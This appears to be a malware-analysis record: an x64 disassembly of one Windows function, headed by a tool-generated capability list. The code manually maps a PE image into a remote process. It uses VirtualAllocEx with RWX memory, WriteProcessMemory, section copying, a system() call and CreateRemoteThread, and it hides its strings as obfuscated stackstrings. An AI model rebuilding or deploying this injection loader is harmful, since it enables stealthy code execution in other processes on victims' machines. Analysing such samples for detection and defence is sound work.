Function at 0x14000a750
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Enumerate pe sections
Execute command
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rsi
push r12
push r14
lea rbp, [rsp - 0x38]
sub rsp, 0x138
mov eax, 0x5a4d
movzx r12d, r9b
mov rsi, rdx
mov r14, rcx
cmp word [rdx], ax
je 0x14000a7bc
lea rcx, [rsp + 0x78]
mov dword [rsp + 0x78], 0x485e496f
mov dword [rsp + 0x7c], 0xd484246
mov dword [rbp - 0x80], 0x545c4648
mov word [rbp - 0x7c], gethostname
mov byte [rbp - 0x7a], 1
call fcn.14000bfc0
lea rcx, [rsp + 0x78]
call fcn.140009940
xor al, al
add rsp, 0x138
pop r14
pop r12
pop rsi
pop rbp
ret
mov qword [rsp + 0x130], r15
mov eax, 0x8664
movsxd r15, dword [rdx + 0x3c]
add r15, rsi
cmp word [r15 + 4], ax
je 0x14000a80a
movdqa xmm0, xmmword [0x140092840]
lea rcx, [rsp + 0x78]
movdqu xmmword [rsp + 0x78], xmm0
mov word [rbp - 0x78], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp - 0x76], 1
call fcn.14000b8c0
lea rcx, [rsp + 0x78]
call fcn.140009940
xor al, al
jmp 0x14000b2ce
mov r8d, dword [r15 + 0x50]
xor edx, edx
mov qword [rsp + 0x160], rbx
mov r9d, 0x3000
mov qword [rsp + 0x178], r13
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
jne 0x14000a893
call qword [sym.imp.KERNEL32.dll_GetLastError]
movdqa xmm0, xmmword [0x140092830]
lea rcx, [rsp + 0x40]
movdqa xmm1, xmmword [0x140092770]
mov ebx, eax
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x70], 0x1005d0e
movdqa xmm0, xmmword [0x140092890]
movdqu xmmword [rsp + 0x60], xmm0
movdqu xmmword [rsp + 0x50], xmm1
call fcn.14000bec0
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140009940
xor al, al
jmp 0x14000b2be
lea rax, [rbp - 0x70]
mov qword [rsp + 0x170], rdi
xor edi, edi
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x70], edi
mov rdx, r13
mov r8d, dword [r15 + 0x50]
mov rcx, r14
lea r9d, [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9d, 0x1000
mov qword [rbp - 0x50], rax
mov r8, rsi
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, r13
mov qword [rbp - 0x48], rax
mov rcx, r14
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rbp - 0x40], rax
mov eax, dword [rbp + 0x98]
mov dword [rbp - 0x28], eax
mov rax, qword [rbp + 0xa0]
mov qword [rbp - 0x20], rax
movzx eax, byte [rbp + 0x90]
mov dword [rbp - 0x18], eax
mov qword [rbp - 0x30], rdi
mov dword [rbp - 0x24], edi
mov dword [rbp - 0x14], edi
mov qword [rbp - 0x38], r13
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000a992
call qword [sym.imp.KERNEL32.dll_GetLastError]
movdqa xmm0, xmmword [0x140092800]
lea rcx, [rsp + 0x40]
movdqu xmmword [rsp + 0x40], xmm0
mov ebx, eax
mov dword [rsp + 0x50], 0x585d5f16
mov dword [rsp + 0x54], 0x1d4e5e5e
mov dword [rsp + 0x58], 0x1965470e
mov word [rsp + 0x5c], 0x48
mov byte [rsp + 0x5e], 1
call fcn.14000bc40
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140009940
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x14000b2b4
movzx ebx, word [r15 + 0x14]
add rbx, 0x2c
cmp word [r15 + 6], di
je 0x14000a9e4
add rbx, r15
mov eax, dword [rbx - 4]
test eax, eax
je 0x14000a9d5
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, rsi
add rdx, r13
mov qword [rsp + 0x20], 0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000aa81
movzx eax, word [r15 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x14000a9a5
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, r14
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x78], rax
mov rdi, rax
test rax, rax
jne 0x14000aae3
call qword [sym.imp.KERNEL32.dll_GetLastError]
movdqa xmm0, xmmword [0x140092830]
lea rcx, [rsp + 0x40]
movdqa xmm1, xmmword [0x140092760]
mov ebx, eax
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x70], 0x520f73
movdqa xmm0, xmmword [0x140092780]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x74], 1
movdqu xmmword [rsp + 0x50], xmm1
call fcn.14000bf40
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140009940
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x14000b2b4
call qword [sym.imp.KERNEL32.dll_GetLastError]
movdqa xmm0, xmmword [0x140092870]
lea rcx, [rsp + 0x40]
movdqu xmmword [rsp + 0x40], xmm0
mov ebx, eax
mov dword [rsp + 0x50], 0x19024458
mov dword [rsp + 0x54], 0x4519430a
mov word [rsp + 0x58], gethostname
mov byte [rsp + 0x5a], 1
call fcn.14000ba40
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140009940
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x14000b2b4
xor ebx, ebx
lea r8, [rbp - 0x50]
mov rdx, rdi
mov qword [rsp + 0x20], rbx
mov rcx, r14
lea r9d, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000ab79
call qword [sym.imp.KERNEL32.dll_GetLastError]
movdqa xmm0, xmmword [0x1400927b0]
lea rcx, [rsp + 0x40]
movdqu xmmword [rsp + 0x40], xmm0
mov ebx, eax
mov dword [rsp + 0x50], 0x195f595f
mov dword [rsp + 0x54], 0x6519430a
mov word [rsp + 0x58], gethostname
mov byte [rsp + 0x5a], 1
call fcn.14000ba40
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140009940
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x14000b2b4
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x60], rax
mov rsi, rax
test rax, rax
jne 0x14000ac35
call qword [sym.imp.KERNEL32.dll_GetLastError]
movdqa xmm0, xmmword [0x1400927f0]
lea rcx, [rsp + 0x40]
movdqa xmm1, xmmword [0x140092750]
mov ebx, eax
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x60], 0x61682323
movdqu xmmword [rsp + 0x50], xmm1
mov dword [rsp + 0x64], 0x6d65332f
mov dword [rsp + 0x68], 0x975377e
mov word [rsp + 0x6c], 0x58
mov byte [rsp + 0x6e], 1
call fcn.14000be40
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140009940
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x14000b2b4
mov r9d, 0x1000
mov qword [rsp + 0x20], rbx
lea r8, [0x14000b2f0]
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000ace8
call qword [sym.imp.KERNEL32.dll_GetLastError]
movdqa xmm0, xmmword [0x140092850]
lea rcx, [rsp + 0x40]
movdqu xmmword [rsp + 0x40], xmm0
mov ebx, eax
mov dword [rsp + 0x50], 0x5d57545a
mov dword [rsp + 0x54], 0x450c1b5f
mov dword [rsp + 0x58], 0x4a671b
mov byte [rsp + 0x5c], 1
call fcn.14000bb40
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140009940
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x14000b2b4
lea rcx, [rbp + 0x68]
mov dword [rbp + 0x68], 0x5b4b45
mov byte [rbp + 0x6c], 1
call fcn.14000b840
lea rcx, [rbp + 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140092860]
lea rcx, [rsp + 0x40]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x5d5d5357
mov dword [rsp + 0x54], 0x1003114
call fcn.14000b9c0
lea rcx, [rsp + 0x40]
call fcn.140009940
mov edx, Ordinal_301
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
mov qword [rsp + 0x30], rbx
mov r9, rsi
mov dword [rsp + 0x28], ebx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x14000adff
call qword [sym.imp.KERNEL32.dll_GetLastError]
movdqa xmm0, xmmword [str.rOZLKO_fNJQE_Z]
lea rcx, [rsp + 0x40]
movdqu xmmword [rsp + 0x40], xmm0
mov ebx, eax
mov dword [rsp + 0x50], 0x55515650
mov dword [rsp + 0x54], 0xd1c5f5f
mov dword [rsp + 0x58], 0x4b181a46
mov word [rsp + 0x5c], 0x100
call fcn.14000bbc0
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140009940
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x14000b2b4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000ae0a
lea rdx, [rbp + 0x68]
mov dword [rbp + 0x68], ebx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ebx, dword [rbp + 0x68]
cmp ebx, 0x103
jne 0x14000b27d
xorps xmm0, xmm0
mov qword [rsp + 0x20], 0
mov r9d, 0x40
lea r8, [rbp - 0x10]
mov rdx, rdi
mov rcx, r14
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp + 0x10]
cmp rbx, 0x404040
je 0x14000b24f
cmp rbx, 0x505050
jne 0x14000aeb2
movdqa xmm0, xmmword [0x140092880]
lea rcx, [rsp + 0x40]
movdqa xmm1, xmmword [0x140092740]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x60], 0x426622
movdqu xmmword [rsp + 0x50], xmm1
mov byte [rsp + 0x64], 1
call fcn.14000bdc0
lea rcx, [rsp + 0x40]
call fcn.140009940
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x14000ae0a
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp - 0x68], rax
mov rbx, rax
test rax, rax
jne 0x14000af1c
movdqa xmm0, xmmword [0x140092820]
lea rcx, [rsp + 0x40]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x54185242
mov dword [rsp + 0x54], 0x4f53565f
mov dword [rsp + 0x58], 0x1003547
call fcn.14000bac0
lea rcx, [rsp + 0x40]
call fcn.140009940
jmp 0x14000b2b4
xor edx, edx
mov r8d, 0x1400000
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
test r12b, r12b
je 0x14000af4f
mov r9d, 0x1000
mov qword [rsp + 0x20], 0
mov r8, rbx
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp byte [rbp + 0x80], 0
je 0x14000b0d0
movzx edi, word [r15 + 0x14]
xor esi, esi
add rdi, 0x18
add rdi, r15
cmp word [r15 + 6], si
je 0x14000b0d0
movzx r12d, byte [rbp + 0x90]
lea rdx, [0x1400926f0]
lea r8, [0x1400926f8]
lea r9, str..reloc
cmp dword [rdi + 8], 0
je 0x14000b0bd
test r12b, r12b
jne 0x14000afb8
xor ecx, ecx
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x14000afb8
cmp rcx, 7
jne 0x14000afa3
jmp 0x14000aff8
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x14000afd6
cmp rcx, 6
jne 0x14000afc0
jmp 0x14000aff8
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x14000b0bd
cmp rcx, 7
jne 0x14000afe0
movdqa xmm0, xmmword [0x1400927e0]
lea rcx, [rsp + 0x40]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x584e585b
mov dword [rsp + 0x54], 0x1003156
call fcn.14000b9c0
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.140009940
mov edx, dword [rdi + 0xc]
mov r8, rbx
mov r9d, dword [rdi + 8]
add rdx, r13
mov rcx, r14
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000b0a8
call qword [sym.imp.KERNEL32.dll_GetLastError]
movdqa xmm0, xmmword [0x1400927a0]
lea rcx, [rsp + 0x40]
movdqu xmmword [rsp + 0x40], xmm0
mov ebx, eax
mov dword [rsp + 0x50], 0x1956585f
mov dword [rsp + 0x54], 0x1d06481f
mov dword [rsp + 0x58], 0x3965470e
mov word [rsp + 0x5c], 0x48
mov byte [rsp + 0x5e], 1
call fcn.14000bc40
mov r8d, ebx
lea rcx, [rsp + 0x40]
mov rdx, rdi
call fcn.140009940
mov rbx, qword [rbp - 0x68]
lea r9, str..reloc
lea r8, [0x1400926f8]
lea rdx, [0x1400926f0]
movzx eax, word [r15 + 6]
inc esi
add rdi, 0x28
cmp esi, eax
jne 0x14000af92
cmp byte [rbp + 0x88], 0
je 0x14000b1fe
movzx ebx, word [r15 + 0x14]
xor esi, esi
add rbx, 0x18
add rbx, r15
cmp word [r15 + 6], si
je 0x14000b1d2
lea r12d, [rsi + 0x20]
nop word [rax + rax]
mov ecx, dword [rbx + 8]
test ecx, ecx
je 0x14000b1bf
mov eax, dword [rbx + 0x24]
mov dword [rbp + 0x68], 0
test eax, 0x80000000
jbe 0x14000b123
mov edi, 4
jmp 0x14000b131
test eax, 0x20000000
mov edi, 2
cmova edi, r12d
mov edx, dword [rbx + 0xc]
lea rax, [rbp + 0x68]
mov r8, rcx
mov qword [rsp + 0x20], rax
add rdx, r13
mov r9d, edi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x14000b182
movdqa xmm0, xmmword [0x140092810]
lea rcx, [rsp + 0x40]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x551d1745
mov dword [rsp + 0x54], 0x1003162
call fcn.14000b9c0
lea rcx, [rsp + 0x40]
jmp 0x14000b1b4
movdqa xmm0, xmmword [0x1400927c0]
lea rcx, [rsp + 0x40]
movdqa xmm1, xmmword [0x1400927d0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x60], 0x100
movdqu xmmword [rsp + 0x50], xmm1
call fcn.14000bd40
lea rcx, [rsp + 0x40]
mov r8d, edi
mov rdx, rbx
call fcn.140009940
movzx eax, word [r15 + 6]
inc esi
add rbx, 0x28
cmp esi, eax
jne 0x14000b100
movzx eax, word [r15 + 0x14]
mov r9d, 2
mov dword [rbp - 0x6c], 0
mov rdx, r13
mov rcx, r14
mov r8d, dword [rax + r15 + 0x24]
lea rax, [rbp - 0x6c]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r8, qword [rbp - 0x68]
mov r9d, 0x1000
mov rdx, qword [rbp - 0x60]
mov rcx, r14
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rbp - 0x60]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rsp + 0x78]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
jmp 0x14000b2b6
movdqa xmm0, xmmword [0x140092790]
lea rcx, [rsp + 0x78]
movdqu xmmword [rsp + 0x78], xmm0
mov dword [rbp - 0x78], 0x1003d44
call fcn.14000b940
lea rcx, [rsp + 0x78]
call fcn.140009940
jmp 0x14000aca4
movdqa xmm0, xmmword [str.vUGJOX__rM_QBZVP]
lea rcx, [rsp + 0x40]
movdqa xmm1, xmmword [0x140092710]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x60], 1
movdqu xmmword [rsp + 0x50], xmm1
call fcn.14000bcc0
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140009940
xor al, al
mov rdi, qword [rsp + 0x170]
mov r13, qword [rsp + 0x178]
mov rbx, qword [rsp + 0x160]
mov r15, qword [rsp + 0x130]
add rsp, 0x138
pop r14
pop r12
pop rsi
pop rbp
ret